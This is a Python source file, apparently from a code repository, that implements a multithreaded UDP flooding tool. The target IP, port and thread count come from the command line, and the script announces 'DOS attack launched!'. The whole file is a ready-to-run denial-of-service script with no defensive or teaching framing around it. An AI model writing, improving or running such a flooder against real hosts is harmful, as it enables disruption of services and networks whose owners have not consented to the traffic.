Paws/PythonScripts/dos.py

37 lines
925 B
Python

#!/usr/bin/python3
import sys
import socket
import threading
import time
#Function to send packets to the target
def send_packets(target_ip, port, num_packets):
for i in range(num_packets):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(b"", (target_ip, port))
time.sleep(0.01)
sock.close()
#Function to launch threads for DOSing
def launch_threads(target_ip, port, num_threads):
threads = []
for i in range(num_threads):
t = threading.Thread(target=send_packets, args=(target_ip, port, 1000))
t.start()
threads.append(t)
for t in threads:
t.join()
#Main function
if __name__ == "__main__":
target_ip = sys.argv[1]
port = int(sys.argv[2])
num_threads = int(sys.argv[3])
launch_threads(target_ip, port, num_threads)
print("DOS attack launched!")
time.sleep(10)
print("DOS attack stopped.")